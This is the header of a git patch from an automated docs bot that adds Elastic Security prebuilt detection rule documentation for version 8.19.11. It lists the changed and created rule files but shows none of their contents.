From eb0d8d1b2f6f79f8153958213a05d4527a0b2180 Mon Sep 17 00:00:00 2001
From: tradebot-elastic <178941316+tradebot-elastic@users.noreply.github.com>
Date: Tue, 25 Nov 2025 07:14:47 +0000
Subject: [PATCH 1/2] Update latest docs

---
 ...9-11-a-scheduled-task-was-created.asciidoc | 130 +++++++
 ...ess-to-a-sensitive-ldap-attribute.asciidoc | 183 ++++++++++
 ...1-account-password-reset-remotely.asciidoc | 146 ++++++++
 ...le-8-19-11-adminsdholder-backdoor.asciidoc | 124 +++++++
 ...insdholder-sdprop-exclusion-added.asciidoc | 151 ++++++++
 ...gent-spoofing-mismatched-agent-id.asciidoc | 108 ++++++
 ...g-multiple-hosts-using-same-agent.asciidoc | 107 ++++++
 ...-different-att-ck-tactics-by-host.asciidoc | 134 +++++++
 ...-19-11-aws-cloudtrail-log-created.asciidoc | 125 +++++++
 ...-19-11-aws-cloudtrail-log-deleted.asciidoc | 121 +++++++
 ...9-11-aws-cloudtrail-log-suspended.asciidoc | 121 +++++++
 ...-19-11-aws-cloudtrail-log-updated.asciidoc | 133 +++++++
 ...-11-aws-cloudwatch-alarm-deletion.asciidoc | 171 +++++++++
 ...aws-cloudwatch-log-group-deletion.asciidoc | 195 ++++++++++
 ...ws-cloudwatch-log-stream-deletion.asciidoc | 184 ++++++++++
 ...ce-console-login-via-assumed-role.asciidoc | 193 ++++++++++
 ...1-aws-guardduty-detector-deletion.asciidoc | 152 ++++++++
 ...alls-via-temporary-session-tokens.asciidoc | 168 +++++++++
 ...uarantine-policy-attached-to-user.asciidoc | 113 ++++++
 ...ws-iam-deactivation-of-mfa-device.asciidoc | 160 ++++++++
 ...le-8-19-11-aws-iam-group-creation.asciidoc | 136 +++++++
 ...le-8-19-11-aws-iam-group-deletion.asciidoc | 121 +++++++
 ...m-roles-anywhere-profile-creation.asciidoc | 176 +++++++++
 ...t-anchor-created-with-external-ca.asciidoc | 165 +++++++++
 ...-11-aws-iam-saml-provider-updated.asciidoc | 164 +++++++++
 ...11-aws-iam-user-addition-to-group.asciidoc | 133 +++++++
 ...ration-attempt-with-session-token.asciidoc | 167 +++++++++
 ...-s3-bucket-configuration-deletion.asciidoc | 166 +++++++++
 ...s-manager-rapid-secrets-retrieval.asciidoc | 163 +++++++++
 ...y-unusual-user-and-resource-group.asciidoc | 122 +++++++
 ...ompute-snapshot-deletions-by-user.asciidoc | 126 +++++++
 ...zure-diagnostic-settings-deletion.asciidoc | 122 +++++++
 ...tion-via-unicode-modifier-letters.asciidoc | 129 +++++++
 ...n-to-commonly-abused-web-services.asciidoc | 341 ++++++++++++++++++
 ...ess-network-connection-via-lolbin.asciidoc | 214 +++++++++++
 ...t-modification-by-an-unusual-user.asciidoc | 110 ++++++
 ...lasticache-security-group-created.asciidoc | 121 +++++++
 ...ecurity-group-modified-or-deleted.asciidoc | 122 +++++++
 ...precated-aws-rds-cluster-creation.asciidoc | 125 +++++++
 ...aws-rds-instance-cluster-stoppage.asciidoc | 121 +++++++
 ...recated-aws-rds-instance-creation.asciidoc | 115 ++++++
 ...d-aws-rds-security-group-creation.asciidoc | 121 +++++++
 ...d-aws-rds-security-group-deletion.asciidoc | 116 ++++++
 ...count-creation-by-an-unusual-user.asciidoc | 109 ++++++
 ...-elastic-agent-service-terminated.asciidoc | 148 ++++++++
 ...fend-and-email-alerts-correlation.asciidoc | 110 ++++++
 ...twork-security-alerts-correlation.asciidoc | 128 +++++++
 ...me-seen-account-performing-dcsync.asciidoc | 166 +++++++++
 ...-19-11-krbtgt-delegation-backdoor.asciidoc | 145 ++++++++
 ...lobal-administrator-role-assigned.asciidoc | 125 +++++++
 ...on-of-the-mspkiaccountcredentials.asciidoc | 141 ++++++++
 ...le-elastic-defend-alerts-by-agent.asciidoc | 131 +++++++
 ...failure-followed-by-logon-success.asciidoc | 155 ++++++++
 ...lure-from-the-same-source-address.asciidoc | 169 +++++++++
 ...ltiple-vault-web-credentials-read.asciidoc | 134 +++++++
 ...mes-detected-for-a-single-dt-hash.asciidoc | 109 ++++++
 ...uled-task-activity-via-powershell.asciidoc | 129 +++++++
 ...d-command-and-control-correlation.asciidoc | 106 ++++++
 ...tory-replication-account-backdoor.asciidoc | 149 ++++++++
 ...otential-execution-via-xzbackdoor.asciidoc | 151 ++++++++
 ...l-git-cve-2025-48384-exploitation.asciidoc | 124 +++++++
 ...ercion-via-dns-based-spn-spoofing.asciidoc | 152 ++++++++
 ...hine-account-relay-attack-via-smb.asciidoc | 129 +++++++
 ...ation-via-samaccountname-spoofing.asciidoc | 138 +++++++
 ...ow-credentials-added-to-ad-object.asciidoc | 145 ++++++++
 ...al-spike-in-web-server-error-logs.asciidoc | 127 +++++++
 ...-ssh-password-grabbing-via-strace.asciidoc | 119 ++++++
 ...truts-cve-2023-50164-exploitation.asciidoc | 161 +++++++++
 ...11-privileged-account-brute-force.asciidoc | 141 ++++++++
 ...cess-creation-via-secondary-logon.asciidoc | 139 +++++++
 ...proxy-shell-execution-via-busybox.asciidoc | 172 +++++++++
 ...mputer-account-dnshostname-update.asciidoc | 132 +++++++
 ...tion-in-world-writeable-directory.asciidoc | 173 +++++++++
 ...e-scheduled-task-creation-via-rpc.asciidoc | 120 ++++++
 ...-remote-windows-service-installed.asciidoc | 154 ++++++++
 ...ationprivilege-assigned-to-a-user.asciidoc | 150 ++++++++
 ...via-local-kerberos-authentication.asciidoc | 140 +++++++
 ...s-traffic-from-an-unusual-process.asciidoc | 111 ++++++
 ...picious-access-to-ldap-attributes.asciidoc | 129 +++++++
 ...stry-access-via-sebackupprivilege.asciidoc | 169 +++++++++
 ...increasebasepriorityprivilege-use.asciidoc | 126 +++++++
 ...rvice-was-installed-in-the-system.asciidoc | 137 +++++++
 ...us-wmi-event-subscription-created.asciidoc | 125 +++++++
 ...mporarily-scheduled-task-creation.asciidoc | 131 +++++++
 ...-11-unusual-scheduled-task-update.asciidoc | 116 ++++++
 ...-account-exposed-to-kerberoasting.asciidoc | 154 ++++++++
 ...ver-discovery-or-fuzzing-activity.asciidoc | 142 ++++++++
 ...tential-command-injection-request.asciidoc | 230 ++++++++++++
 ...ial-spike-in-error-response-codes.asciidoc | 147 ++++++++
 ...er-suspicious-user-agent-requests.asciidoc | 180 +++++++++
 .../prebuilt-rules-8-19-11-appendix.asciidoc  |  97 +++++
 .../prebuilt-rules-8-19-11-summary.asciidoc   | 194 ++++++++++
 ...ebuilt-rules-downloadable-updates.asciidoc |   5 +
 .../prebuilt-rules-reference.asciidoc         | 198 +++++-----
 .../prebuilt-rules/rule-desc-index.asciidoc   |  38 +-
 .../a-scheduled-task-was-created.asciidoc     |   4 +-
 ...ess-to-a-sensitive-ldap-attribute.asciidoc |   4 +-
 .../account-password-reset-remotely.asciidoc  |   6 +-
 .../adminsdholder-backdoor.asciidoc           |   4 +-
 ...insdholder-sdprop-exclusion-added.asciidoc |   4 +-
 ...gent-spoofing-mismatched-agent-id.asciidoc |   4 +-
 ...g-multiple-hosts-using-same-agent.asciidoc |  16 +-
 ...-different-att-ck-tactics-by-host.asciidoc | 134 +++++++
 .../aws-cloudtrail-log-created.asciidoc       |  60 +--
 .../aws-cloudtrail-log-deleted.asciidoc       |  72 ++--
 .../aws-cloudtrail-log-suspended.asciidoc     |  69 ++--
 .../aws-cloudtrail-log-updated.asciidoc       |  72 ++--
 .../aws-cloudwatch-alarm-deletion.asciidoc    | 118 +++---
 ...aws-cloudwatch-log-group-deletion.asciidoc | 130 +++++--
 ...ws-cloudwatch-log-stream-deletion.asciidoc | 121 +++++--
 ...ce-console-login-via-assumed-role.asciidoc | 101 ++++--
 .../aws-guardduty-detector-deletion.asciidoc  |  87 +++--
 ...alls-via-temporary-session-tokens.asciidoc | 100 +++--
 ...uarantine-policy-attached-to-user.asciidoc |   4 +-
 ...ws-iam-deactivation-of-mfa-device.asciidoc |  85 +++--
 .../aws-iam-group-creation.asciidoc           |  67 ++--
 .../aws-iam-group-deletion.asciidoc           |  54 +--
 ...m-roles-anywhere-profile-creation.asciidoc | 103 ++++--
 ...t-anchor-created-with-external-ca.asciidoc | 104 ++++--
 .../aws-iam-saml-provider-updated.asciidoc    |  93 +++--
 .../aws-iam-user-addition-to-group.asciidoc   |  71 ++--
 ...ration-attempt-with-session-token.asciidoc | 100 +++--
 ...-s3-bucket-configuration-deletion.asciidoc |  99 +++--
 ...s-manager-rapid-secrets-retrieval.asciidoc | 163 +++++++++
 .../aws-sts-getsessiontoken-usage.asciidoc    | 130 +++++++
 ...y-unusual-user-and-resource-group.asciidoc | 122 +++++++
 ...ompute-snapshot-deletions-by-user.asciidoc | 126 +++++++
 ...zure-diagnostic-settings-deletion.asciidoc |  27 +-
 ...tion-via-unicode-modifier-letters.asciidoc | 129 +++++++
 ...ess-network-connection-via-lolbin.asciidoc | 214 +++++++++++
 ...t-modification-by-an-unusual-user.asciidoc |   4 +-
 ...lasticache-security-group-created.asciidoc | 121 +++++++
 ...ecurity-group-modified-or-deleted.asciidoc | 122 +++++++
 ...precated-aws-rds-cluster-creation.asciidoc | 125 +++++++
 ...aws-rds-instance-cluster-stoppage.asciidoc | 121 +++++++
 ...recated-aws-rds-instance-creation.asciidoc | 115 ++++++
 ...d-aws-rds-security-group-creation.asciidoc | 121 +++++++
 ...d-aws-rds-security-group-deletion.asciidoc | 116 ++++++
 ...count-creation-by-an-unusual-user.asciidoc |   4 +-
 .../elastic-agent-service-terminated.asciidoc |  10 +-
 ...fend-and-email-alerts-correlation.asciidoc | 110 ++++++
 ...twork-security-alerts-correlation.asciidoc | 128 +++++++
 ...me-seen-account-performing-dcsync.asciidoc |  13 +-
 .../krbtgt-delegation-backdoor.asciidoc       |   4 +-
 ...lobal-administrator-role-assigned.asciidoc |   6 +-
 ...cessive-account-lockouts-detected.asciidoc |   2 +-
 ...on-of-the-mspkiaccountcredentials.asciidoc |   4 +-
 ...le-elastic-defend-alerts-by-agent.asciidoc | 131 +++++++
 ...failure-followed-by-logon-success.asciidoc |   6 +-
 ...lure-from-the-same-source-address.asciidoc |   4 +-
 ...ltiple-vault-web-credentials-read.asciidoc |   6 +-
 ...mes-detected-for-a-single-dt-hash.asciidoc | 109 ++++++
 ...uled-task-activity-via-powershell.asciidoc |   4 +-
 ...d-command-and-control-correlation.asciidoc | 106 ++++++
 ...tory-replication-account-backdoor.asciidoc |   4 +-
 ...otential-execution-via-xzbackdoor.asciidoc |  22 +-
 ...l-git-cve-2025-48384-exploitation.asciidoc | 124 +++++++
 ...ercion-via-dns-based-spn-spoofing.asciidoc |   9 +-
 ...hine-account-relay-attack-via-smb.asciidoc |   4 +-
 ...ation-via-samaccountname-spoofing.asciidoc |   4 +-
 ...ow-credentials-added-to-ad-object.asciidoc |   4 +-
 ...al-spike-in-web-server-error-logs.asciidoc | 127 +++++++
 ...-ssh-password-grabbing-via-strace.asciidoc |  48 ++-
 ...truts-cve-2023-50164-exploitation.asciidoc | 161 +++++++++
 .../privileged-account-brute-force.asciidoc   |   5 +-
 ...cess-creation-via-secondary-logon.asciidoc |   6 +-
 ...proxy-shell-execution-via-busybox.asciidoc | 172 +++++++++
 ...mputer-account-dnshostname-update.asciidoc |   5 +-
 ...tion-in-world-writeable-directory.asciidoc |  11 +-
 ...e-scheduled-task-creation-via-rpc.asciidoc |   4 +-
 .../remote-windows-service-installed.asciidoc |   8 +-
 ...ationprivilege-assigned-to-a-user.asciidoc |   4 +-
 ...via-local-kerberos-authentication.asciidoc |   6 +-
 ...s-traffic-from-an-unusual-process.asciidoc | 111 ++++++
 ...picious-access-to-ldap-attributes.asciidoc |   4 +-
 ...stry-access-via-sebackupprivilege.asciidoc |   6 +-
 ...increasebasepriorityprivilege-use.asciidoc |   4 +-
 ...rvice-was-installed-in-the-system.asciidoc |   4 +-
 ...us-wmi-event-subscription-created.asciidoc |   4 +-
 ...mporarily-scheduled-task-creation.asciidoc |   6 +-
 .../unusual-scheduled-task-update.asciidoc    |   4 +-
 ...-account-exposed-to-kerberoasting.asciidoc |   4 +-
 ...ver-discovery-or-fuzzing-activity.asciidoc | 142 ++++++++
 ...tential-command-injection-request.asciidoc | 230 ++++++++++++
 ...ial-spike-in-error-response-codes.asciidoc | 147 ++++++++
 ...er-suspicious-user-agent-requests.asciidoc | 180 +++++++++
 docs/index.asciidoc                           |   2 +
 187 files changed, 18516 insertions(+), 814 deletions(-)
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-a-scheduled-task-was-created.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-access-to-a-sensitive-ldap-attribute.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-account-password-reset-remotely.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-adminsdholder-backdoor.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-adminsdholder-sdprop-exclusion-added.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-agent-spoofing-mismatched-agent-id.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-agent-spoofing-multiple-hosts-using-same-agent.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-alerts-in-different-att-ck-tactics-by-host.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudtrail-log-created.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudtrail-log-deleted.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudtrail-log-suspended.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudtrail-log-updated.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudwatch-alarm-deletion.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudwatch-log-group-deletion.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudwatch-log-stream-deletion.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-ec2-instance-console-login-via-assumed-role.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-guardduty-detector-deletion.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-api-calls-via-temporary-session-tokens.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-deactivation-of-mfa-device.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-group-creation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-group-deletion.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-roles-anywhere-profile-creation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-saml-provider-updated.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-user-addition-to-group.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-virtual-mfa-device-registration-attempt-with-session-token.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-s3-bucket-configuration-deletion.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-secrets-manager-rapid-secrets-retrieval.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-azure-compute-snapshot-deletions-by-user.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-azure-diagnostic-settings-deletion.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-command-obfuscation-via-unicode-modifier-letters.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-connection-to-commonly-abused-web-services.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-curl-or-wget-egress-network-connection-via-lolbin.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-delegated-managed-service-account-modification-by-an-unusual-user.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-elasticache-security-group-created.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-elasticache-security-group-modified-or-deleted.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-cluster-creation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-instance-cluster-stoppage.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-instance-creation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-security-group-creation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-security-group-deletion.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-dmsa-account-creation-by-an-unusual-user.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-elastic-agent-service-terminated.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-elastic-defend-and-email-alerts-correlation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-elastic-defend-and-network-security-alerts-correlation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-firsttime-seen-account-performing-dcsync.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-krbtgt-delegation-backdoor.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-microsoft-365-global-administrator-role-assigned.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-modification-of-the-mspkiaccountcredentials.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-multiple-elastic-defend-alerts-by-agent.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-multiple-logon-failure-followed-by-logon-success.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-multiple-logon-failure-from-the-same-source-address.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-multiple-vault-web-credentials-read.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-okta-multiple-os-names-detected-for-a-single-dt-hash.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-outbound-scheduled-task-activity-via-powershell.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-panw-and-elastic-defend-command-and-control-correlation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-active-directory-replication-account-backdoor.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-execution-via-xzbackdoor.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-git-cve-2025-48384-exploitation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-kerberos-coercion-via-dns-based-spn-spoofing.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-machine-account-relay-attack-via-smb.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-privileged-escalation-via-samaccountname-spoofing.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-shadow-credentials-added-to-ad-object.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-spike-in-web-server-error-logs.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-ssh-password-grabbing-via-strace.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-privileged-account-brute-force.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-process-creation-via-secondary-logon.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-proxy-shell-execution-via-busybox.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-remote-computer-account-dnshostname-update.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-remote-file-creation-in-world-writeable-directory.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-remote-scheduled-task-creation-via-rpc.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-remote-windows-service-installed.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-sensitive-privilege-seenabledelegationprivilege-assigned-to-a-user.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-service-creation-via-local-kerberos-authentication.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-socks-traffic-from-an-unusual-process.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-access-to-ldap-attributes.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-remote-registry-access-via-sebackupprivilege.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-seincreasebasepriorityprivilege-use.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-service-was-installed-in-the-system.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-wmi-event-subscription-created.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-temporarily-scheduled-task-creation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-unusual-scheduled-task-update.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-user-account-exposed-to-kerberoasting.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-web-server-discovery-or-fuzzing-activity.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-web-server-potential-command-injection-request.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-web-server-potential-spike-in-error-response-codes.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-web-server-suspicious-user-agent-requests.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rules-8-19-11-appendix.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rules-8-19-11-summary.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/alerts-in-different-att-ck-tactics-by-host.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/aws-secrets-manager-rapid-secrets-retrieval.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/aws-sts-getsessiontoken-usage.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/azure-compute-snapshot-deletions-by-user.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/command-obfuscation-via-unicode-modifier-letters.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/curl-or-wget-egress-network-connection-via-lolbin.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/deprecated-aws-elasticache-security-group-created.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/deprecated-aws-elasticache-security-group-modified-or-deleted.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-cluster-creation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-instance-cluster-stoppage.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-instance-creation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-security-group-creation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-security-group-deletion.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/elastic-defend-and-email-alerts-correlation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/elastic-defend-and-network-security-alerts-correlation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/multiple-elastic-defend-alerts-by-agent.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/okta-multiple-os-names-detected-for-a-single-dt-hash.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/panw-and-elastic-defend-command-and-control-correlation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/potential-git-cve-2025-48384-exploitation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/potential-spike-in-web-server-error-logs.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/proxy-shell-execution-via-busybox.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/socks-traffic-from-an-unusual-process.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/web-server-discovery-or-fuzzing-activity.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/web-server-potential-command-injection-request.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/web-server-potential-spike-in-error-response-codes.asciidoc
 create mode 100644 docs/detections/prebuilt-rules/rule-details/web-server-suspicious-user-agent-requests.asciidoc

diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-a-scheduled-task-was-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-a-scheduled-task-was-created.asciidoc
new file mode 100644
index 0000000000..c5d54cf9b4
--- /dev/null
